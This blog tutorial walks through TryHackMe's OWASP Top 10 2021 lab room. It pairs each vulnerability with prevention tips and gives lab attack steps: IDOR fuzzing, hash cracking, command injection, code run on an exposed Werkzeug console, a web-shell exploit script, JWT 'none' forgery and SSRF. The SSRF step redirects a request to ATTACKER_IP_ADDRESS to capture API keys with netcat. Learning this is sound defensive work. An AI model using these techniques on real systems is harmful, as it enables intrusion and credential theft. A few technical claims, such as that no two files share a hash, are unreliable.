A Hands-On Introduction To OWASP Top 10 2021 With TryHackMe
Web application security is a critical component of any online platform, yet many developers and organizations struggle to identify and address common vulnerabilities. In this tutorial, we’ll explore the OWASP Top 10 2021 — a list of the most critical security risks to web applications — and demonstrate hands-on examples of each vulnerability using TryHackMe’s OWASP Top 10 2021 Room. By the end of this tutorial, you’ll have a better understanding of how these vulnerabilities can be exploited, as well as practical strategies to prevent them from occurring in your own web applications.
Why Learn OWASP Top 10?
As a self-taught web developer, I never learned about secure coding practices in my courses or books. It’s viewed by some organization that web security as a separate concern rather than as an integral part of the software development lifecycle (SDLC). Learning secure coding can only make you a strong developer.
From a business standpoint, enforcing secure coding practices and proper threat modeling can help reduce the chances of a company being impacted by the financial and reputation damage that occurs due to attacks. So with that out of the way, let’s dive into the OWASP Top 10.
1. Broken Access Control
Broken Access Control is the top critical vulnerability found in web applications. This is when a user is able to access resources on a web app not intended for them.
This vulnerability can also result in other security issues, such as privilege escalation, data leakage, and unauthorized changes to critical application functions.
There are 3 types of Broken Access Control vulnerabilities.
- Horizontal Access Control — When you’re able to access resources or perform functionality on behalf of a user of the same privilege, for instance being able to access the profile of another user.
- Vertical Access Control — When a user can access resources or functionality reserved for users of a higher privilege like Admin
- Context-Dependent Access Control — When you’re able to bypass the traditional authentication process to perform a functionality such as deleting a user account.
An example of Broken Access Control is IDOR or Insecure Direct Object Reference. This occurs due to lack of proper access controls implemented by a developer that allows an attacker to bypass traditional authorization mechanisms.
For instance the id parameter in this example URL https://bank.thm/account?id=2222 is an example of an IDOR because it exposes a direct object reference and if a user can fuzz the endpoint and access a resource belonging to ?id=2221 which they we’re permitted to access, then boom you’ve found an IDOR.
To access the web app we’re performing a penetration test on ;-), connect to the machine via AttackBox or via OpenVPN in your preferred environment. Navigate to the URL in the browser and log in with the credentials, username: noot & password: test1234.
You can manually fuzz the endpoint by manipulating the id parameter directly in the browser or you can automate this with Burp Suite. Come on over to the Burp Side and I’ll show you how.
Turn on Intercepter and reload the page, http://IP_ADDRESS/note.php?note_id=1. In Burp Suite, right click on the request and send to the Intruder. In the Intruder tab, highlight the id parameter value and select Add on the right.
Next, select the payloads tab. Set the payload type to numbers and in the payload settings section, generate a . If we were testing for a wider range of endpoints, we would import a wordlist but in this case let’s keep it simple:
- Type: Sequential
- From: -3
- To: 3
- Step: 1
Now start the attack.
As you can see, Burp Suite’s intruder tool created several GET requests to our URL, fuzzing the id parameter. What we’re trying to look for is an IDOR so select any request, click on the respective response tab and select Render so we can see the visual result of the request. Keep clicking through until we get a hit! In the screenshot below, we see a note page we weren’t supposed to access.
How To Prevent Broken Access Control Vulnerabilities
It’s just as important to know how to prevent these vulnerabilities from occurring in your web application — whether you’re a penetration tester or a web developer.
- Implement proper access controls
- Deny By Access — When designing your application, restrict access to every resource by default and then grant access to users based on roles.
2. Cryptographic Failures
A cryptographic failure refers to any vulnerability arising from the misuse or lack of cryptographic algorithms for protecting sensitive data. Failure of strong encryption mechanism implementation compromises the confidentiality tenant of the CIA triad. This can lead to leaked customer data (names, DOB, financial data and usernames and passwords). If you want to learn more about encryption, check out the Cryptography module on TryHackMe.
Data Encryption in transit — Encrypting network traffic between the client and server to prevent man-in-the-middle attacks
Data encryption at rest — Data that is stored in a server is encrypted
Data on a web application is often stored in a database and this example, we’ll be using Structured Query Language (SQL). When a user interacts with a web application, the application server communicates with a database server which stores all of the user and application data.
Databases can be stored as files on a computer which requires very little setup. An example of this is SQLite which we’ll be interacting with in a moment. If the all-so critical database server is stored in the root directory of the website, this compromises the confidentiality of your data!
Challenge
Navigate to http://IP_ADDRESS:81. The developer left a critical file of the web app exposed to the internet! Let’s perform some basic reconnaissance and navigate to different directories.
If we right click and view page source code, we see there is a directory called /assets. Navigate to http://IP_ADDRESS:81/assets . Look at what we find…
Click on the webapp.db
file to download the SQLite file directly to /Downloads (or wherever it’s stored). Now let’s start interacting with the database and retrieve (and ultimately crack) the hash of our target — admin.
# Open the file
sqlite3 webapp.db
# .tables - view the tables in the database
.tables
# Select the users table
PRAGMA table_info(users);
# Select username & password columns from the row matching 'admin'
SELECT username,password FROM users where username='admin';
# Highlight and select the hash for admin
Let’s Crack The Hash — The quickest way to crack the hash is to go to crackstation.net and paste the hash in
Now navigate to http://IP_ADDRESS:81/login.php and login as admin with the cracked password to retrieve the flag.
How To Prevent Cryptographic Failures
- Use strong cryptographic algorithms such as AES, RSA and SHA-256. It is strongly recommended to not use weaker methods such as MD5 and SHA-1
- Never hardcode keys or store them in clear text
- Use secure random number generators
3. Injections
Command injections occur due to poor input validation, allowing the user’s input to be interpreted as commands by the server. There are a few types of injections such as SQL injections where a user passes SQL queries as input that the server validates and interacts with. The other type of injection we’ll cover is command injection.
Command Injection
Command injections are when a user passes operating system commands such as whoami
or ls -la
that is executed on the application server, allowing direct access with the server that hosts the web application. The user input is passed to the function in the code that handles interaction with the server’s terminal. Here are some examples courtesy of TryHackMe:
In the PHP example below, the user input is immediately passed to the function as valid and interpreted by the server as a command. This allows direct access with the terminal of the server. We could hypothetically enumerate the user and view sensitive data such as etc/passwords
which is a known Linux file that holds a list of users that exist on the server and we could use that information to perform a brute force password attack.
The input is saved as $cow variable which gets passed as valid input and triggers the passthru() function and interpreted by the server. So if we sent `Hello World’ as input, the function will interpret that aspassthru("perl /usr/bin/cowsay -f default Hello World
.
Always test input you find on a web app for command injection vulnerabilities by experimenting and entering system commands.
Navigate to http://IP_ADDRESS:82/ The format for running system commands in the input is $(command)
so to run whoami
, submit $(whoami)
.
What strange text file is in the website’s root directory? drpepper.txt
How many non-root/non-service/non-daemon users are there? 0
What user is this app running as? apache
What is the user’s shell set as? /sbin/nologin
What version of Alpine Linux is running? 3.16.0
Preventative Measures for Injections
- Don’t trust client-side input! Validate and sanitize all user input
- Be sure to consider all variations of invalid user input to reduce the risk of an attacker bypassing filters. For instance, if you implemented logic that detects and restricts input found in a URL parameter that prevents
<script>
in an effort to prevent Cross-Site Scripting, be sure to include cases where an attacker would use<SCRIPT>
. - Use Web App Firewalls (WAF) to detect and block malicious traffic before it reaches your application.
4. Insecure Design
An insecure design vulnerability is a type of security flaw that arises from a fundamental flaw in the design of a system or software. In other words, the vulnerability is present due to a mistake or oversight made during the design process.
Such vulnerabilities can be particularly dangerous because they are often deeply ingrained in the system and can be difficult to fix without making significant changes to the design itself. In some cases, they may even be impossible to fix entirely, requiring a complete redesign of the system.
An of insecure design is a bad security question when trying to do implement a password reset feature in your application. Security questions to gain access to a user account are typically meant to be hard for a person who is not the user in question to figure out. So if it’s something as simple as “What’s your favorite color?”, that can be easily guessed.
Navigate to http://IP_ADDRESS:85 and select the “I forgot my password” link on the login form. Type in “Joseph” and then on the next screen, select “What’s your favorite color?” as the security question. Type in any color you want. Turn on your Burp Proxy and intercept the request to capture and modify it. We’ll perform a brute force attack. Send the request to Intruder and highlight the color as the payload position.
Create a list of colors to execute an attack with and let’s go!
Solution: ‘Green’.
Now login with the user Joseph and the password it was reset to and you’ll capture the flag.
Flag- THM{Not_3ven_c4tz_c0uld_sav3_U!}
How To Prevent Insecure Design Flaws
- Implement a Secure Software Development Life Cycle (SSDLC) where you integrate security from the beginning
- Threat Modeling — In the early stages of the SSDLC, conduct threat modeling where you identify potential threats and design solutions to mitigate those threats. This can help reduce the chances of letting critical design flaws get shipped to production.
5. Security Misconfiguration
They occur when a piece of software or feature wasn’t properly configured such as default accounts with unchanged passwords, not using HTTP security headers, or detailed error messages that inform attackers to find more information about the system that an attacker can cause to craft a targeted attack.
This can result in command injection on admin pages due to developers leaving debugging features open in production or exposing default credentials giving you access to sensitive data.
Practical Example
Navigate to http://IP_ADDRESS/console and let’s try to exploit the security misconfiguration to read the application’s source code.
We’re met with an exposed Werkzeug console, the debugging interface for Python web application. From there we’re able to run arbitrary commands and directly interact with the web server which can lead to sensitive data exposure.
Questions:
Use the Werkzeug console to run the following Python code to execute the `ls -l` command on the server:
import os; print(os.popen("ls -l").read())
What is the database file name in the current directory? todo.db
Modify the code to read the contents of the app.py file, application’s source code. What is the value of the secret_flag
variable in the source code?
How To Prevent Security Misconfigurations
- Disable debugging features before pushing your code to production.
- Rid your systems and applications of default configurations and credentials
- Implement access controls to prevent unauthorized access to sensitive portions of your application
6. Vulnerable and Outdated Components
Not keeping your applications or systems up to date can lead your application open to attacks. An adversary can enumerate your application to find vulnerable and outdated services running on your application, find and download the script from Exploit-DB, Rapid7 or GitHub to exploit to their machine and execute an attack. This happens due to not keeping your systems patched.
Exploits found online don’t always work out of the box. Sometimes you need to modify the configuration to work for your exploit.
- Manually inspect the application located on http://IP_ADDRESS and look around the web app.
- Go to https://exploit-db.com and find the Online Book Store exploit that provides unauthenticated Remote Code Execution. Proceed to download.
- Run
python3 47887.py -h
to learn how to use the script. - Run
python3 47887.py http://IP_ADDRESS:84
to upload the PHP web shell and gain remote code execution without authentication. Now we can run any commands on the web server cat /opt/flag.txt
will provide the flag!
7. Identification and Authentication Failures
Identification refers to the process of verifying the identity of a user or entity, while authentication refers to the process of verifying that the user or entity is who they claim to be. When there are failures in these processes, it can lead to vulnerabilities that can be exploited by attackers. If the attack is able to find flaws in an authentication mechanism, they may successfully gain access to other users’ accounts and allow the attacker access to sensitive data.
Examples of identification and authentication failures can occur due to weakly or easily guessable passwords which can be susceptible to brute force password attacks, session hijacking where an attacker hijacking a browser session and performs malicious actions under the victim’s identity or through CSRF.
Take for example a user entering their credentials to access an application. The server would verify if those credentials and if correct, the server will assign the client’s browser a session cookie. HTTP is a stateless protocol so a cookie is sent with each subsequent HTTP request to maintain session and re-authenticate the user. Cookies remind the server of who is sending the data and keep track of users’ actions.
- Go to http://IP_ADDRESS:8088/register.php and try to register as
darren
- The user already exists so let’s try to bypass that restriction and re-register as
darren
with a space proceeding the name - Now you’ve re-registered with an already existing username, of
darren
- Log in as
darren
to get the flagfe86079416a21a3c99937fea8874b667
- Now let’s try to re-register the user
arthur
by adding a space before the name to access the next flag
How To Prevent Identification and Authentication Failures
- Implement strong password policies to prevent password-guessing attacks.
- Enforce Multi-Factor Authentication (MFA) where a user must provide multiple methods to verify identification.
- Implement CSRF tokens and session expiration to prevent attackers from hijacking browser sessions.
- Sanitize input when to disallow users from re-registering accounts.
- To prevent brute force attacks, enforce an automatic lockout policies after a specified number of attempts.
8. Software and Data Integrity Failures
Integrity refers to validating that a piece of data remains unmodified and is one of the tenants of the CIA triad. For example if you’re downloading the latest installer for an application like Kali Linux we check the integrity of the data to make sure it hasn’t been modified in transit or hasn’t been damaged by checking the hash. A hash is the output of a hashing algorithm, say MD5 or SHA. Any bit of modification done to a file such as a space or adding a single character will completely change the hash value. Wild right?
When you download a file, you re-calcluate the hashes and compare them against the ones published on Kali Linux’s site. To calculate the different hashes in Linux use the following commands:
md5sum filename
sha1sum filename
sha256sum filename
The vulnerability arises from code or infrastructure that uses software or data without any kind of integrity check. If no integrity verification is being modified, the attacker might modify the software or data passed to the application, resulting in unexpected consequences.
Software Integrity Failure
Most web apps import third-party code and when a user navigates to your website, it’s client browser will read that code. If you didn’t verify the integrity of that code by checking the hash values, that can lead the user susceptible to attacks.
The solution is to implement a Subresource Integrity
(SRI) security mechanism in which you provide an integrity hash so that if the attacker modifies that third party library, the code of the library wouldn’t be executed through the browser because it would fail the integrity check that the SRI field enforces. This will cause the client’s browser to only read that imported file if it matches that specified value.
Remember hash values are not a form of encryption and simply an irreversible output of a hashing algorithm. This is why hash values are more trusted, because no 2 files can share the same hash.
An example of SRI in practice is in this piece of code:
<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ="crossorigin="anonymous"></script>
To generate hashes for any library go to https://www.srihash.org.
Here’s an example of generating a hash for a library like jQuery:
Data Integrity Failure
When a user logs into an application, a session token is generated to be saved on the browser for as long as the session lasts and will be sent in each subsequent request so the web app knows who we are. An example of session token is a cookie. Cookies are key-value pairs that a web app will store on the user’s browser & will be sent with each request to the website that issued them.
If cookies are stored in the client browser, the user can tamper with the cookie to impersonate another user and perform malicious actions on their behalf. This results in data integrity failure as it trusts the data that an attacker can tamper with.
A solution is to implement an integrity mechanism to guaranteed the cookie hasn’t been altered by the user such as a JSON Web Token (JWT). JWT store the key-value pairs on a token that has a built-in integrity check.
A JWT consists of 3 sets of base64 strings, each separated by a period. The header indicates the type of token and algorithm used in the JWT, the payload is the data that is stored and signature is the built-in integrity check that verifies the data hasn’t been modified.
If you alter the payload, this will impact the signature just like a hash and will be evidence of JWT tampering. Only the server holds the secret key that’s involved in the signature. We can bypass this feature of JWT by using the None algorithm. That type of algorithm was created for debugging and isn’t meant to be used in production but as you learned earlier, sometimes developers forget to disable debugging!
Here’s how to Attack with JWT with None Algorithm:
- Modify the header and set the algorithm to None
- Change the payload to whatever you want
- Remove the signature to bypass that built-in integrity check but leave the period.
Remember: header.payload.signature
Challenge:
- Navigate to http://IP_ADDRESS:8089/ and try to log in as guest. The account’s password is guest.
- Open Browser Developer Tools and navigate to Storage tab where you’ll see cookies. Locate the key:value pair for the jwt-session cookie
- Now let’s modify our JWT token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjc5ODY1MDU5fQ.5oArozFrsP_gWEZv85QTjICaz-RLk19w_mgsuJ0coBU
Go to https://www.base64decode.org/ and lets’s first decode the header
Encoded string — eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
Decoded: {“typ”:”JWT”,”alg”:”HS256″}
Let’s change the header to be algorithm none:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
Next let’s take the payload and decode it:
{“username”:”guest”,”exp”:1679865059}
Now let’s modify the username to be admin
instead of guest and encode that payload
{“username”:”admin”,”exp”:1679865059}
eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc5ODY1MDU5fQ==
Now let’s put our encoded strings together! Due to changing the alg
type to ‘none’ in the header, we can modify the payload and bypass the signature, just leaving a period in between each set.
Here’s our new JWT web token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc5ODY1MDU5fQ==.
Reload the page and you’ll be authenticated as admin. Get the flag!
How To Prevent Software and Data Integrity Failure:
- Implement
Subresource Integrity (SRI)
browser security mechanism to verify the integrity of the third party code you import to your web applications. - Write back-end logic to verify the signature of the JWT token by checking that the algorithm used to sign the token matches the expected algorithm. If the algorithm is “none”, the token should be rejected
9. Security Logging and Monitoring Failures
Logging provides a way to document every action a user makes on a web server. Logging helps immensely in the event of a security incident because you’re able to track the steps made against your system. The information stored in a log typically consists of the source and destination IP address, time stamps, usernames, API endpoints/page locations and HTTP status codes.
What to look for when examining logs for suspicious activity:
- Multiple unauthorized attempts for a particular action especially within a very short amount of time, can be indicative of a brute force attack
- Detecting common web payloads
From analyzing the log, we can see several unauthorized attempts to the /login endpoint to either authenticate as admin
, administrator
, anonymous
and root
. This is an example of a brute force technique, issuing several requests to a server within a very short period of time (in this case a 5s delay between each request).
What IP address is the attacker using — 49.99.13.16
What kind of attack is being carried out- Brute Force
How To Prevent Security Logging and Monitoring Failures
- Keep multiple copies of these logs in different locations instead of having one central location for all of them
10. Server-Side Request Forgery 🙂
Server-Side Request Forgery is when an attacker manipulates a web app into sending requests on their behalf to destinations not intended whether it’s the web app’s server (localhost) or external web app. An example would be something like http://www.example.com/sms?server=resource.thm&msg=ABC. In that URL, the web app is making an API call to an an expected resource for instance. We could redirect the request to be made to our server and grab the API keys.
The impact of SSRF can be massive. It can lead to interacting with other services to get remote code execution (RCE), abuse trust relationships between servers and gain access to restricted resources or perform internal network enumeration.
- Explore the website. What is the only host allowed to access the admin area?
http://IP_ADDRESS:8087/admin
2. Check the “Download Resume” button. Where does the server parameter point to? secure-file-storage.com
3. Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?
How to solve the challenge:
The first thing I would do is inspect the URL that we’re analyzing
http://IP_ADDRESS:8087/download?server=secure-file-storage.com:8087&id=75482342
The server=secure-file-storage.com:8087
is indicating that the web app is making a call to this API server. So what we will do is redirect the request to our localhost which is either the Attack Box IP Address or tun0 IP address if you’re using OpenVPN.
http://VICTIM_IP_ADDRESS:8087/download?server=ATTACKER_IP_ADDRESS&id=75482342
Next, let’s open up a terminal and use Netcat to listen on port 80 so we can capture the API keys from the request.
nc -lvp 80
Now set fire! Once you’ve turned on the listener, send the request in the browser and you should see the API key in netcat:
How To Prevent SSRF
- Restrict access to sensitive resources
- Implement web app firewall rules to prevent SSRF requests from reaching your server
- Use URL blacklists: Maintain a list of URLs that are known to be vulnerable and block any requests to those URLs.
- Use request whitelists: Only allow specific HTTP request methods and parameters
If you enjoyed my post, share it and feel free to follow me on Twitter so you can stay updated on when I make more blog posts! Thanks for reading and have a great day!
Further Reading
Courses
Portswigger Web Security Academy
Practical Web Application Security & Testing
Books
Bob & Alice Learn Application Security